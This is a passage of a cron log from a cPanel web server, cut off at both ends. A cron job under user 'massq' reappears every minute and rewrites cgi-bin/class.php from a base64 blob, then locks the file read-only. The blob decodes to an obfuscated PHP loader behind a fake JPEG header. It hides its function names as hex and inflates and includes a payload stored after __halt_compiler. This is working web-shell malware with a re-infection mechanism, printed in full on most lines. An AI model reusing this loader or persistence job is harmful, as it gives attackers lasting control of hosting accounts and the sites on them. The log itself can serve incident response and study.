UoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:06:01 server CROND[12087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:07:01 server CROND[12149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:08:01 server CROND[12313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:09:01 server CROND[12400]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 11:09:01 server CROND[12402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:09:01 server CROND[12401]: (root) CMD (/usr/sbin/csf -u)
Apr  8 11:10:01 server CROND[12493]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 11:10:01 server CROND[12492]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 11:10:01 server CROND[12494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:10:01 server CROND[12495]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 11:11:01 server CROND[12616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:12:01 server CROND[12736]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 11:12:01 server CROND[12737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:13:01 server CROND[12822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:14:01 server CROND[12998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:15:01 server CROND[13070]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 11:15:01 server CROND[13071]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 11:15:01 server CROND[13072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:16:01 server CROND[13206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:17:01 server CROND[13272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:18:01 server CROND[13366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:19:01 server CROND[13564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfS